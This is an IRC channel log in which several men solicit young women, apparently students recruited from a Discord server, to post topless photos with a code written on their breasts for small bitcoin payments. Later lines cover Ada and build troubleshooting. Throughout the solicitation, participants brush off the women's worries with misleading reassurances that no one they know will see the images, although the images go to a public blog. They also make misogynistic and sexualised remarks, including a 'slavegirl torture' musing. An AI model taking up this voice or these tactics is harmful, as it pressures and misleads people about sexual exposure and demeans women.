1790395;1522295369;douchebag;noo
1790396;1522295371;douchebag;you paste the url
1790397;1522295372;la;oop
1790398;1522295385;la;!!register http://p.bvulpes.com/pastes/JRWUF/?raw=true
1790399;1522295388;deedbot;741311C4CD2C31823CD5E41EE677AA7C19F99541 registered as la.
1790400;1522295398;mircea_popescu;that went quickly enough.
1790401;1522295483;la;what code should I write
1790402;1522295499;mircea_popescu;la dja have a link to a profile somewhere or anything ?
1790403;1522295534;la;you mean social media?
1790404;1522295543;mircea_popescu;did you read that article at all ?
1790405;1522295580;la;https://i.imgur.com/CaH10VB.jpg
1790406;1522295616;mircea_popescu;lmao.
1790407;1522295653;mircea_popescu;"Has previously posted nudie selfshots on the web. You will be required to prove this by supplying a link." << that part. in http://trilema.com/2014/ill-pay-for-your-tits/#selection-37.0-37.105
1790408;1522295696;la;ok
1790409;1522295707;la;uhh
1790410;1522295731;la;I've sent nudes on discord I guesss
1790411;1522295734;mircea_popescu;what, is it your first time ?
1790412;1522295745;mircea_popescu;eh, mkay what the hell. here : 2f9d4475
1790413;1522295749;la;first time this public
1790414;1522296026;la;why are you doing this? kinda curious
1790415;1522296037;mircea_popescu;cuz i can
1790416;1522296479;douchebag;mircea_popescu: Tell her she doesn't have to worry about her family seeing
1790417;1522296486;douchebag;fucking women
1790418;1522296508;mircea_popescu;why, her family reads trilema ?
1790419;1522296520;douchebag;No her family doesn't she's just worrying
1790420;1522296520;la;https://i.imgur.com/ThsWXDN.jpg
1790421;1522296523;la;enjoy
1790422;1522296531;la;I'm shy
1790423;1522296539;mircea_popescu;lmao.
1790424;1522296543;mircea_popescu;write it ON the tits, silly.
1790425;1522296551;la;it is on there
1790426;1522296557;la;:(
1790427;1522296575;douchebag;la I told you on the tits
1790428;1522296584;mircea_popescu;let teh other girls guide you.
1790429;1522296600;la;is that alright
1790430;1522296603;la;im kinds anxious
1790431;1522296605;la;fuck
1790432;1522296609;mircea_popescu;eh relax.
1790433;1522296617;douchebag;Write it on your tits - it will be fine.
1790434;1522296790;mircea_popescu;!!up la
1790435;1522296790;deedbot;la voiced for 30 minutes.
1790436;1522296813;la;writing on tits is difficult
1790437;1522296821;la;im trying my best here lol
1790438;1522296840;mircea_popescu;are you encountering some... difficultits ?
1790439;1522296863;la;is it cool if its upsidedown
1790440;1522296865;la;yes lol
1790441;1522296868;la;it's hard to write
1790442;1522296892;douchebag;jesus christ..lol
1790443;1522296901;trinque;I dunno, my pantomiming over here suggests its doable.
1790444;1522296907;mircea_popescu;she has a point, girly self-paints are harder than they seem
1790445;1522296917;trinque;I guess the medium squashes all around on them
1790446;1522296926;mircea_popescu;lel
1790447;1522296943;mircea_popescu;irresistence of the medium!
1790448;1522297058;la;https://i.imgur.com/niQmxrN.jpg
1790449;1522297060;la;there
1790450;1522297068;la;I didn't have a marker
1790451;1522297075;la;so too hard to write but I got it backwards
1790452;1522297093;mircea_popescu;hey, pretty.
1790453;1522297097;mircea_popescu;!!pay la 0.02
1790454;1522297107;deedbot;Get your OTP: http://p.bvulpes.com/pastes/tdXrP/?raw=true
1790455;1522297122;la;thanks ^_^
1790456;1522297134;mircea_popescu;so what do you do, other than writing on your tits ?
1790457;1522297208;la;!!balance
1790458;1522297214;deedbot;http://p.bvulpes.com/pastes/vO4gN/?raw=true
1790459;1522297219;la;mainly just chat with friends privately
1790460;1522297223;mircea_popescu;la it'll prolly take a few.
1790461;1522297234;mircea_popescu;la ok but i mean, do you go to school ? work ?
1790462;1522297253;la;yeah I go to school and I work part time
1790463;1522297270;mircea_popescu;what kinda school ?
1790464;1522297292;la;UCI
1790465;1522297301;mircea_popescu;universal computing interface ?
1790466;1522297352;la;Uc irvine lol
1790467;1522297355;la;!!withdraw 0.02 13MqJfbdNo1YHui1Dq61YFKXAU82t9KCzb
1790468;1522297362;deedbot;Get your OTP: http://p.bvulpes.com/pastes/JoN9Y/?raw=true
1790469;1522297401;mircea_popescu;ok, but i was more asking in the sense of what field.
1790470;1522297466;la;oh like informatics
1790471;1522297517;la;!!v 4286EA1E2AE1A06044640406EB3448F62CEC0FB902F7ADFC5C25E7886A7403E6
1790472;1522297543;deedbot;http://p.bvulpes.com/pastes/q4F2z/?raw=true
1790473;1522297549;mircea_popescu;i guess.
1790474;1522297550;mircea_popescu;!!rate la 1 universal computing informatics.
1790475;1522297553;deedbot;Get your OTP: http://p.bvulpes.com/pastes/jQcXk/?raw=true
1790476;1522297697;mircea_popescu;la well, now that you've found this place maybe stick around. who knows what monstrous horror you might find to scare your teachers with.
1790477;1522297709;mircea_popescu;teh republic is looking for more women to put teh tech into all the time anyway.
1790478;1522297720;trinque;la: douchebag: I'm gonna run these withdrawals in the morning, big line of storms coming through.
1790479;1522297737;la;it isn't that bad here
1790480;1522297739;trinque;I don't want the airgap box zapped.
1790481;1522297752;la;how long will it take to go through btw :#
1790482;1522297764;douchebag;la: in the morning
1790483;1522297783;trinque;la: your withdrawal command popped a piece of paper with a qr code on my end.
1790484;1522297808;trinque;I take that and fiddle with an airgapped machine, which produces another qr code, your txn.
1790485;1522297824;trinque;so, it is meat-bound.
1790486;1522297853;la;wow you're such a nerd
1790487;1522297872;douchebag;lol
1790488;1522297880;trinque;hey I'm not the one studying computing informatits or w/e
1790489;1522297894;la;<3
1790490;1522297898;la;just kidding
1790491;1522297903;la;yeah but I'm not as smart as you :(
1790492;1522298030;trinque;republic's got this brain straightening effect, you'll find.
1790493;1522298121;la;is it cool if I can invite my friend in here?
1790494;1522298146;la;she's down to post tits
1790495;1522298210;trinque;of course.
1790496;1522298308;la;she'll be here soon :3
1790497;1522298589;trinque;so how do you know douchebag? from lode's thing?
1790498;1522298601;douchebag;No, we're in a political discord server together
1790499;1522298611;trinque;!!up la
1790500;1522298612;deedbot;la voiced for 30 minutes.
1790501;1522298626;douchebag;emily22: welcome
1790502;1522298637;mod6;!!up emily22
1790503;1522298638;deedbot;emily22 voiced for 30 minutes.
1790504;1522298654;emily22;I'm here to show you guys tits
1790505;1522298662;mod6;this is starting off well
1790506;1522298676;trinque;ranks among the best intros eh?
1790507;1522298686;mod6;for certain
1790508;1522298699;emily22;I haven't done anything like this before >.>
1790509;1522298700;trinque;la: you oughta be able to self-voice by pm'ing !!up to deedbot
1790510;1522298771;emily22;!!register http://p.bvulpes.com/pastes/5RsS1/?raw=true
1790511;1522298775;deedbot;5B4DF394BFF6514A39B7E6EF62797679B472DD54 registered as emily22.
1790512;1522298792;emily22;did I do that right?
1790513;1522298805;la;imma grab a snack omg
1790514;1522298818;douchebag;mhm
1790515;1522298818;trinque;emily22: yup, you registered.
1790516;1522298857;emily22;what code do I need to write?
1790517;1522298860;trinque;gonna have to wait for mircea_popescu for the tits bounty
1790518;1522298893;emily22;okay
1790519;1522298944;trinque;douchebag: y'know, once you bring two women by the forum topless I dunno that you get to keep the pantsuit "autism" hat anymore.
1790520;1522298971;douchebag;haha
1790521;1522299057;trinque;emily22: also from the discord, or?
1790522;1522299090;emily22;yeah
1790523;1522299099;la;yeah we're discord friends
1790524;1522299102;la;I told her about it
1790525;1522299103;emily22;la told me about it
1790526;1522299293;trinque;you know, we're somewhat political ourselves.
1790527;1522299348;douchebag;It's a right wing discord server w/ mostly conservative people
1790528;1522299376;ben_vulpes;douchebag: well link it or will that get you excommunicated?
1790529;1522299413;douchebag;I don't have permission on the server to grab the server link
1790530;1522299416;la;only the mods can give links they're a bit stuck up
1790531;1522299425;douchebag;They stopped that after discord started banning right wing servers
1790532;1522299432;ben_vulpes;probably also, guys eh? "the shy gender"
1790533;1522299463;emily22;there were a bunch of random people coming in all the time
1790534;1522299468;la;the guys there are all ugly and rude
1790535;1522299469;douchebag;that too
1790536;1522299477;trinque;douchebag: so why not build your own discord thing, instead of letting cali pantsuits tell you what you can say?
1790537;1522299480;emily22;now it's comfy :)
1790538;1522299492;douchebag;trinque: Actually, I did
1790539;1522299501;douchebag;Me and some friends were working on a project awhile back
1790540;1522299503;ben_vulpes;emily22: maybe tell 'em about this thing called the wot and voice model, where someone has to vouch for you before you can waste everyone's time
1790541;1522299503;trinque;(he could say, and you use freenode, and I'd agree!)
1790542;1522299510;douchebag;We use a custom ircd to handle the messages and such
1790543;1522299530;trinque;douchebag: v-patch worthy thing?
1790544;1522299542;douchebag;Not yet, it's a web app so I'm not sure if you guys would be into that
1790545;1522299555;trinque;probably not web, no
1790546;1522299600;ben_vulpes;!!rate emily22 new blood
1790547;1522299605;ben_vulpes;!!rate la new blood
1790548;1522299621;ben_vulpes;wow damn girl did you actually snag that 2char nick?
1790549;1522299648;trinque;ben_vulpes: pls to integer
1790550;1522299671;emily22;when is mircea_popescu going to come in? He's the one asking right?
1790551;1522299691;ben_vulpes;!!rate la 1 new blood
1790552;1522299694;deedbot;Get your OTP: http://p.bvulpes.com/pastes/o40jQ/?raw=true
1790553;1522299696;ben_vulpes;!!rate emily22 1 new blood
1790554;1522299699;deedbot;Get your OTP: http://p.bvulpes.com/pastes/8by6s/?raw=true
1790555;1522299703;ben_vulpes;trinque: good error msg, thx
1790556;1522299720;trinque;boop.
1790557;1522299729;ben_vulpes;!!v 4DFDD6DFAD4AF74B37D02C0D515E98C35B80D161D0CCBC3ABDAA13B7A1D0219A
1790558;1522299729;deedbot;ben_vulpes rated la 1 << new blood
1790559;1522299731;trinque;emily22: may have gone to bed by now
1790560;1522299741;emily22;oh...
1790561;1522299750;ben_vulpes;!!v D2FD5EB86434A7B6B4F850710864DF16CC6D9EF71A1A1FB860E5A16D0EC4F9A8
1790562;1522299750;trinque;will you still have tits in the morning?
1790563;1522299751;deedbot;ben_vulpes rated emily22 1 << new blood
1790564;1522299756;trinque;you never know these days
1790565;1522299767;emily22;yeah I will
1790566;1522299805;*;ben_vulpes bbl
1790567;1522299816;trinque;stick around then. thing's right wing as hell.
1790568;1522299839;*;trinque ftr developed through the american libertarian thing in his say 18-20 or so.
1790569;1522299855;ben_vulpes;cleared my head of all sorts of retardation too
1790570;1522299887;ben_vulpes;best place in the world to spend your twenties if you're into scooping bits of your own brain out
1790571;1522299895;ben_vulpes;later f'reel
1790572;1522299902;trinque;ben_vulpes: nite
1790573;1522299948;trinque;la: emily22: give self-voicing a try, so you don't have to ask permission to speak next time.
1790574;1522300027;douchebag;ill explain to her how to do it
1790575;1522300041;emily22;?
1790576;1522300128;trinque;emily22: the bot you registered with controls voice. douchebag will tell ya
1790577;1522300141;douchebag;im explaining in voice chat right now
1790578;1522300205;la;I'm gunna go to bed now it's late and I have class T_T
1790579;1522300259;douchebag;trinque: just curious, since I got .01 earlier
1790580;1522300272;douchebag;What would the fee for that be?
1790581;1522300326;emily22;so does this guy just collect a bunch of tit pics?
1790582;1522300338;douchebag;emily22: precisely
1790583;1522300385;trinque;douchebag: looks like about 0.00002 atm
1790584;1522300397;douchebag;forsure
1790585;1522300399;trinque;and since there are two in the hopper, it gets split between the two.
1790586;1522300425;trinque;if whole amount is withdrawn, I subtract fee from it, otherwise take from the balance
1790587;1522300438;douchebag;Cool
1790588;1522300511;trinque;was actually about to cut these, and the lightning started again. so morning.
1790589;1522300528;mircea_popescu;nah, im here.
1790590;1522300537;mircea_popescu;emily22 what did i miss
1790591;1522300550;emily22;la told me about this
1790592;1522300596;mircea_popescu;a right. and let me guess, your first time too ?
1790593;1522300613;mircea_popescu;!#s "later tell"
1790594;1522300613;a111;4389 results for "\"later tell\"", http://btcbase.org/log-search?q=%22later%20tell%22
1790595;1522300643;mircea_popescu;!Qlater tell la you can voice yourself by the way, just say !!up to deedbot in a pm then !!v its string.
1790596;1522300643;lobbesbot;mircea_popescu: The operation succeeded.
1790597;1522300645;emily22;well I've never posted myself before...
1790598;1522300651;emily22;at least not my body
1790599;1522300660;mircea_popescu;emily22 b837af56
1790600;1522300707;emily22;you want me to write that?
1790601;1522300718;mircea_popescu;yes
1790602;1522300887;emily22;https://cdn.discordapp.com/attachments/428766898197495808/428785607255392256/image.jpg
1790603;1522301021;emily22;is that okay?
1790604;1522301060;emily22;;3
1790605;1522301100;mircea_popescu;lessee
1790606;1522301120;mircea_popescu;i daresay it is, yes.
1790607;1522301124;mircea_popescu;!!key emily22
1790608;1522301125;deedbot;http://wot.deedbot.org/5B4DF394BFF6514A39B7E6EF62797679B472DD54.asc
1790609;1522301130;mircea_popescu;!!pay emily22 0.02
1790610;1522301136;deedbot;Get your OTP: http://p.bvulpes.com/pastes/utnAY/?raw=true
1790611;1522301159;mircea_popescu;emily22 so what do you do, other than writing on your tits ?
1790612;1522301173;emily22;I'm in school right now
1790613;1522301206;mircea_popescu;studying what ?
1790614;1522301235;emily22;I'm studying for political science, but I might switch to something else, I'm not sure
1790615;1522301252;mircea_popescu;they have political science in like... wisconsin ?!
1790616;1522301301;emily22;Yeah, they have political science almost everywhere...
1790617;1522301311;mircea_popescu;:p
1790618;1522301311;emily22;!!balance
1790619;1522301318;deedbot;http://p.bvulpes.com/pastes/xmhlp/?raw=true
1790620;1522301420;emily22;it isn't showing in the balance :P
1790621;1522301432;mircea_popescu;yeah it's not instantitious. give it a few.
1790622;1522301439;emily22;okay
1790623;1522301450;emily22;how many girls have done this?
1790624;1522301500;mircea_popescu;emily22 http://trilema.com/2014/ill-pay-for-your-tits/
1790625;1522301502;mircea_popescu;coupla dozen or such
1790626;1522301586;emily22;wait you're going to post it on that site...
1790627;1522301600;douchebag;its fine nobody you know will see it
1790628;1522301613;emily22;!!balance
1790629;1522301618;mircea_popescu;in other news, here's a novel idea for slavegirl torture : have her hit the gym really hard, then once her muscles are nice and sore and she can't defend herself... give her a nice massage or something. i sweat this thing squeezing a thigh while suckling a tit felt outright japanese.
1790630;1522301619;deedbot;http://p.bvulpes.com/pastes/m28Q2/?raw=true
1790631;1522301808;emily22;!!withdraw 0.02 1NgN2mXwi4zc4bmVTSVdr6ciHp7LJ8L4Nj
1790632;1522301815;deedbot;Get your OTP: http://p.bvulpes.com/pastes/8pqI5/?raw=true
1790633;1522301886;emily22;!!v 4A003ECC24272679E8B45CCBB84BE2CE82AF3746881AC0058A7815787C3BCAE6
1790634;1522301915;deedbot;http://p.bvulpes.com/pastes/i4w4w/?raw=true
1790635;1522301916;mircea_popescu;incidentally, can you draw ?
1790636;1522301920;mircea_popescu;or do you knwo anyone who can ?
1790637;1522301981;emily22;I don't draw
1790638;1522302007;emily22;And I don't really know anyone who draws well
1790639;1522302015;mircea_popescu;me either. sucks ;/
1790640;1522302128;emily22;what do you need drawn?
1790641;1522302146;mircea_popescu;i'm toying with the idea of sponsoring a comic. you ever seen oglaf ?
1790642;1522302273;douchebag;Mohammad and Friends
1790643;1522302329;emily22;no I haven't seen that
1790644;1522302340;mircea_popescu;it's quite popular here.
1790645;1522302347;mircea_popescu;!#s "oglaf.com"
1790646;1522302347;a111;286 results for "\"oglaf.com\"", http://btcbase.org/log-search?q=%22oglaf.com%22
1790647;1522302348;mircea_popescu;^
1790648;1522302357;douchebag;Actully MP
1790649;1522302359;mircea_popescu;anyway, something like that, but more in the vein of midnight on mars, if you know him
1790650;1522302362;douchebag;I know someone who can draw
1790651;1522302366;mircea_popescu;but well ?
1790652;1522302369;douchebag;yes
1790653;1522302439;mircea_popescu;show me ?
1790654;1522302477;douchebag;I just messaged him
1790655;1522302479;douchebag;I'
1790656;1522302485;douchebag;ll show you some of his work when he replies
1790657;1522302504;douchebag;He does a lot of political cartoons and such
1790658;1522302547;mircea_popescu;cool.
1790659;1522302591;mircea_popescu;incidentally BingoBoingo ben_vulpes asciilifeform : any of you read the output of uruguay's most famous (slash only) intellectual, the supposed comte de lautremont ?
1790660;1522302782;douchebag;ooh looks like we got another
1790661;1522303604;mircea_popescu;!!up Tea_
1790662;1522303605;deedbot;Tea_ voiced for 30 minutes.
1790663;1522303624;Tea_;hey
1790664;1522303628;mircea_popescu;hola
1790665;1522303642;Tea_;I heard I can make money for my tits
1790666;1522303645;Tea_;lol?
1790667;1522303654;mircea_popescu;did you post nudies before ?
1790668;1522303688;Tea_;I have shown pictures to bfs and stuff?
1790669;1522303716;mircea_popescu;the day of virgins. anyway, sure, write b933e5f5
1790670;1522303818;Tea_;!!register http://p.bvulpes.com/pastes/IltvC/?raw=true
1790671;1522303821;deedbot;89517A442CE8D81AE81A70699A0DC2FF3F7554A9 registered as Tea_.
1790672;1522304343;Tea_;i'm trying to make the pic look good
1790673;1522304358;mircea_popescu;go for it.
1790674;1522304792;Tea_;uggh lol this is harder than i thought
1790675;1522304871;emily22;how long have you been doing this?
1790676;1522304872;mircea_popescu;looking good ?
1790677;1522304881;mircea_popescu;emily22 me ? since 2014.
1790678;1522304896;mircea_popescu;of course, there's also http://trilema.com/2013/they-really-are-buttcoins-nao/ ; that was 2013.
1790679;1522304899;emily22;is that all the girls who did it on your site?
1790680;1522304928;mircea_popescu;most of them, i think. i left some out, mebbe, nfi.
1790681;1522304952;Tea_;I have to rewrite it, it wasn't readable
1790682;1522304961;emily22;so it's kind of an exclusive club, lol
1790683;1522304968;mircea_popescu;of course.
1790684;1522305001;mircea_popescu;check it out lol, polsci chick, wants to get to the bottom of things.
1790685;1522305004;mircea_popescu;what did you want to change it to ?
1790686;1522305162;Tea_;https://i.imgur.com/t4Q8dL7.jpg
1790687;1522305188;mircea_popescu;Tea_ that is a horrible camera. wtf is it ?
1790688;1522305219;Tea_;its a shitty webcam, by phone camera is fucked
1790689;1522305225;Tea_;*my
1790690;1522305248;mircea_popescu;yeah, well, no good. get one that's not taken with a potato, and preferably with the light behind the camera not behind you
1790691;1522305311;Tea_;okay, give me another minute
1790692;1522305315;mircea_popescu;aite.
1790693;1522305418;mircea_popescu;!!up Tea_
1790694;1522305419;deedbot;Tea_ voiced for 30 minutes.
1790695;1522305729;Tea_;https://i.imgur.com/Uzbk8TJ.jpg
1790696;1522305828;Tea_;mircea_popescu is this okay ?
1790697;1522305833;mircea_popescu;sec
1790698;1522305874;mircea_popescu;yes.
1790699;1522305895;mircea_popescu;and my my, aren't you pretty.
1790700;1522305898;mircea_popescu;!!pay Tea_ 0.02
1790701;1522305904;deedbot;Get your OTP: http://p.bvulpes.com/pastes/TLQwI/?raw=true
1790702;1522306041;Tea_;!!balance
1790703;1522306049;deedbot;http://p.bvulpes.com/pastes/6BCeC/?raw=true
1790704;1522306136;mircea_popescu;you gotta give it a minute
1790705;1522306155;mircea_popescu;Tea_ anyway, what do you do ? as a vocation i mean
1790706;1522306202;Tea_;waitress
1790707;1522306229;Tea_;!!balance
1790708;1522306233;mircea_popescu;how would you feel about taking a vacation to costa rica one of these days ?
1790709;1522306234;deedbot;http://p.bvulpes.com/pastes/m7orc/?raw=true
1790710;1522306269;Tea_;thats sounds alright, I would have to know you better
1790711;1522306278;mircea_popescu;indeed.
1790712;1522306291;Tea_;How about Fiji?
1790713;1522306312;mircea_popescu;meh. i don't like islands.
1790714;1522306349;Tea_;!!withdraw 0.02 17rwcUhnxrVvNEVXh5AN7vdSTUz9VDv3ek
1790715;1522306357;deedbot;Get your OTP: http://p.bvulpes.com/pastes/QtdiB/?raw=true
1790716;1522306435;Tea_;So what do you do? Also, what about Indonesia?
1790717;1522306450;mircea_popescu;i ? i'm you know, a lord of the most serene republic.
1790718;1522306474;Tea_;!!v E7CDACC8432283389E6BBF6AF13F594FBA143766548335A5A99D57A90A360212
1790719;1522306490;mircea_popescu;and i manhandle baby turtles.
1790720;1522306500;deedbot;http://p.bvulpes.com/pastes/xJMIh/?raw=true
1790721;1522306511;Tea_;haha really?
1790722;1522306543;mircea_popescu;http://trilema.com/2017/galati-yachting/#selection-139.0-139.28 <
1790723;1522306690;douchebag;mircea_popescu: Turtles are cool
1790724;1522306695;mircea_popescu;yeah.
1790725;1522306709;douchebag;I have a picture of an adult snapping turtle I caught - sec
1790726;1522306802;Tea_;I wish someone would buy me a turtle, they are so cute
1790727;1522306833;mircea_popescu;eh, these belong free.
1790728;1522306847;Tea_;How many turtles do you have?
1790729;1522306871;mircea_popescu;me ? none.
1790730;1522306877;mircea_popescu;i didn't take them home or anything.
1790731;1522306887;douchebag;mircea_popescu: https://i.imgur.com/2DZ3AIh.jpg
1790732;1522306938;mircea_popescu;douchebag you really should start a blog, you know that ?
1790733;1522306938;Tea_;o okay haha, so have you been to costa rica already?
1790734;1522306944;mircea_popescu;it's how civilised people do their online things.
1790735;1522306948;mircea_popescu;Tea_ i live here.
1790736;1522306961;mircea_popescu;with mah harem.
1790737;1522306977;Tea_;Tan, vos hablas español? jaja
1790738;1522306979;mircea_popescu;douchebag did you eat it ?
1790739;1522306982;mircea_popescu;Tea_ si.
1790740;1522306992;douchebag;Nah
1790741;1522306997;douchebag;Saw a mound of mud
1790742;1522307000;mircea_popescu;yo hablo todos los idiomas, y algo mas!
1790743;1522307012;douchebag;put a stick down in the mud and it made a hollow noise
1790744;1522307016;douchebag;so i knew it was a snapper
1790745;1522307024;douchebag;reached in and pulled the fucker out
1790746;1522307058;mircea_popescu;can lose a finger doing that
1790747;1522307060;Tea_;yo he aprendido español en Uni, pero queiro aprender mas!
1790748;1522307077;mircea_popescu;Tea_ no hay mejor por aprender que vivir donde se habla.
1790749;1522307088;douchebag;ooh yeah he was quite mean
1790750;1522307143;douchebag;I love going on creek walks and catching wildlife
1790751;1522307154;Tea_;Tan, si voy a la costa rica, vos podes enseñarme?
1790752;1522307155;mircea_popescu;douchebag did you see the eagle ?
1790753;1522307161;douchebag;eagle? nah
1790754;1522307167;mircea_popescu;Tea_ certo!
1790755;1522307174;douchebag;We don't have eagles around here, we got hawks
1790756;1522307179;mircea_popescu;douchebag http://trilema.com/2018/where-eagles-date/
1790757;1522307232;mircea_popescu;Tea_ : say !!up to deedbot in a pm
1790758;1522307240;mircea_popescu;o wait i didn't rate her yet.
1790759;1522307245;mircea_popescu;wait 2 minutes, then do it!
1790760;1522307264;mircea_popescu;!!rate Tea_ 1 quiere aprender.
1790761;1522307266;deedbot;Get your OTP: http://p.bvulpes.com/pastes/DTZSN/?raw=true
1790762;1522307375;douchebag;ooh nice
1790763;1522307512;mircea_popescu;!!up Tea_
1790764;1522307513;deedbot;Tea_ voiced for 30 minutes.
1790765;1522307532;mircea_popescu;didn't manage ?
1790766;1522307535;mircea_popescu;there you go.
1790767;1522307575;mircea_popescu;you're better rated than douchebag, he can't self voice lmao
1790768;1522307582;mircea_popescu;!!up Amygifl
1790769;1522307583;Tea_;Has visitado los EUA ya?
1790770;1522307583;deedbot;Amygifl voiced for 30 minutes.
1790771;1522307587;mircea_popescu;Tea_ si
1790772;1522307627;Tea_;bueno!
1790773;1522307655;mircea_popescu;vivi en mass por casi un ano, algo asi. despues me voy en viaje por toda la costa oeste, hasta nuevo laredo
1790774;1522307659;mircea_popescu;y despues, mexico tambien.
1790775;1522307679;mircea_popescu;!!up Amygirl
1790776;1522307680;deedbot;Amygirl voiced for 30 minutes.
1790777;1522307688;Amygirl;I get paid for my tits ?
1790778;1522307709;mircea_popescu;lol. sure. you posted them online before Amygirl ?
1790779;1522307853;Amygirl;`!!register http://p.bvulpes.com/pastes/4vOvk/?raw=true `
1790780;1522307872;Amygirl;and no I haven’t c:
1790781;1522307887;mircea_popescu;mkay. 63627c78 is your magic titcode.
1790782;1522307898;Amygirl;!!register http://p.bvulpes.com/pastes/4vOvk/?raw=true
1790783;1522307900;deedbot;Import failed for http://p.bvulpes.com/pastes/4vOvk/?raw=true.
1790784;1522307964;Amygirl;!!register http://p.bvulpes.com/pastes/BOJEf/?raw=true
1790785;1522307967;deedbot;DAD9419071F19D1127A5D6722CA450696461A7E9 registered as Amygirl.
1790786;1522308106;Tea_;y españa has visitado tambien?
1790787;1522308121;mircea_popescu;si, espana tambien.
1790788;1522308155;Tea_;me encanta espana <3
1790789;1522308166;mircea_popescu;que viste, madrid ?
1790790;1522308325;Tea_;si, madrid, leon, y barcelona
1790791;1522308338;Tea_;Zaragoza tambien
1790792;1522308367;mircea_popescu;y que te gusto mas ?
1790793;1522308368;Tea_;Pero, quiero visitar otra vez barceolna
1790794;1522308542;*;mircea_popescu shudders at the thought of what'll happen when mod6 wakes up!!
1790795;1522308602;mircea_popescu;!!up Amygirl
1790796;1522308603;deedbot;Amygirl voiced for 30 minutes.
1790797;1522308608;Amygirl;Sorry I disconnected
1790798;1522308612;Amygirl;https://my.mixtape.moe/ocnnge.jpg
1790799;1522308675;mod6;I'm quite pleased.
1790800;1522308772;Amygirl;Is the picture alright ?
1790801;1522308807;mircea_popescu;Amygirl not really ; but i'll let you get away with it because nobody was quick enough an' as a compliment to douchebag.
1790802;1522308809;*;mircea_popescu thinks a certain someone will have an aneurism when they see this wonder.
1790803;1522308812;mircea_popescu;!!pay Amygirl 0.02
1790804;1522308819;deedbot;Get your OTP: http://p.bvulpes.com/pastes/cpnYG/?raw=true
1790805;1522308924;Amygirl;Thank you!!❤️
1790806;1522308927;mircea_popescu;enjoy.
1790807;1522308932;mircea_popescu;!!key douchebag
1790808;1522308934;deedbot;http://wot.deedbot.org/5A067BA31976B2576818247075CD5709D6509291.asc
1790809;1522308980;mircea_popescu;douchebag http://p.bvulpes.com/pastes/uSdeR/?raw=true
1790810;1522309001;Amygirl;!!balance
1790811;1522309007;deedbot;http://p.bvulpes.com/pastes/VxPkF/?raw=true
1790812;1522309131;Amygirl;!!withdraw 0.02 1MZWuxWZaDLEkWdDXT9Q59H5UE9DQduHmL
1790813;1522309136;deedbot;Get your OTP: http://p.bvulpes.com/pastes/3MGYL/?raw=true
1790814;1522309219;Amygirl;!!v 4A336C3C6A6D7D6CF6342B478ADDAD34C9A88A20C584BE3FD2E0D817C0995060
1790815;1522309244;deedbot;http://p.bvulpes.com/pastes/mkWlJ/?raw=true
1790816;1522309287;mod6;mircea_popescu: Quite a parade!  Who's next?
1790817;1522309299;mircea_popescu;i can scarcely guess.
1790818;1522309361;mod6;Tit parade is never a waste of time. :]
1790819;1522309386;Amygirl;Thank you guys❤️
1790820;1522309489;mod6;douchebag: you're keeping your volume down, bringing the girls.  good work!
1790821;1522309508;douchebag;<3
1790822;1522309827;*;mircea_popescu shall bbl.
1790823;1522309955;mod6;Also, these girls, I'd speculate have been able to register and do the task way above par.  Good job guiding them through.
1790824;1522309984;douchebag;Yeah, I'm glad they could figure it out haha
1790825;1522310007;mod6;werd, typically that part is a struggle.  not today, very nice.
1790826;1522310028;douchebag;This made me the most popular person in the discord server - women messaging telling me they want to show their tits haha
1790827;1522310065;mod6;I bet haha.
1790828;1522310094;emily22;It's late, so I'm getting off. Enjoy the tits <3
1790829;1522310103;mod6;night emily22
1790830;1522310116;mod6;douchebag: did building trb go alright for ya?
1790831;1522310130;douchebag;let me check on that actually
1790832;1522310155;douchebag;gotta install the deps
1790833;1522310157;douchebag;sec
1790834;1522310195;mod6;ah, well, you should just be able to drop them into the right directory.  are you doing the OFFLINE build?
1790835;1522310209;douchebag;I'm doing online
1790836;1522310213;mod6;(the ONLINE build does this for you)
1790837;1522310215;mod6;ah ok.
1790838;1522310229;douchebag;i get to the very last step
1790839;1522310244;douchebag;'recipie for target deps failed'
1790840;1522310258;mod6;huh.
1790841;1522310275;douchebag;that's the error it threw
1790842;1522310372;mod6;looking, just a sec
1790843;1522310401;ave1;!~later tell mircea_popescu re: http://btcbase.org/log/2018-03-28#1790127, not close at all. I do have a script to make a musl C library based ada (and one with a minimal Ada library). No C library only makes sense for systems without an OS.
1790844;1522310401;a111;Logged on 2018-03-28 20:18 mircea_popescu: this is pretty terrible altogether. ave1 you got a moment ? how close is alf's "quite close" ?
1790845;1522310522;ave1;!Qlater tell mircea_popescu re: http://btcbase.org/log/2018-03-28#1790127, not close at all. I do have a script to make a musl C library based ada (and one with a minimal Ada library). No C library only makes sense for systems without an OS.
1790846;1522310522;a111;Logged on 2018-03-28 20:18 mircea_popescu: this is pretty terrible altogether. ave1 you got a moment ? how close is alf's "quite close" ?
1790847;1522310523;lobbesbot;ave1: The operation succeeded.
1790848;1522310526;mod6;douchebag: at the top of the howto document, it lists all of the pre-reqs you need before the build.  did you ensure that you have them all?
1790849;1522310560;douchebag;I thought I did I might have missed one though
1790850;1522310568;douchebag;I'll get it taken care of - it's no big deal
1790851;1522310589;mod6;well, im about to crash out.  but let's tackle it tomorrow, we'll start fresh.  no worries.
1790852;1522310614;mod6;ni ni
1790853;1522310841;douchebag;Sounds good!
1790854;1522311387;ave1;re: http://btcbase.org/log/2018-03-28#1790159, grpbuild has a system to look for all ada's and gcc in the path and select one. To check te selected gcc you can do "gprbuild -v".
1790855;1522311387;a111;Logged on 2018-03-28 20:41 phf: hmm, i wonder if adacore's gprbuild uses its own gcc or global one
1790856;1522311408;ave1;Also see how the selection goes do: gprconfig --show-targets -v
1790857;1522311456;ave1;And even more, you can let gprconfig make a config file (run it without any arguments) and gprbuild will then use the selected compilers.
1790858;1522311617;ave1;Note that if you use the musl c library, you will only get the parts from the C library you actually use in your binary.  (this is not true for gnu C library)
1790859;1522311770;ave1;The parts you need on from the C library on linux are the initialization (move the commandline arguments and environment variables from locations prepared by the linux kernel to those needed in C) the functions called in your code and the finalization.
1790860;1522311843;ave1;For musl the initialization / finalization part is minimal and easy to read, for gnu lib C it is not and part of it used code from the dynamic linking library.
1790861;1522311964;ave1;I was looking into a process of getting GNU C to produce small static binaries, but put it on the back burner after reading through the code.
1790862;1522311973;ave1;Sorry, GNU C library
1790863;1522313270;spyked;in less titillating news: http://btcbase.org/log/2018-03-28#1790190 <-- just did --> http://p.bvulpes.com/pastes/ewwIL/?raw=true the flow looks okay now; problem is that my patch is a separate leaf, so I can't press it and say, vtools-vpatch, in the same path. one (not very clean) palliative would be to manually verify and apply the patch after pressing.
1790864;1522313270;a111;Logged on 2018-03-28 21:55 spyked bbl, will replicate the output in the morning
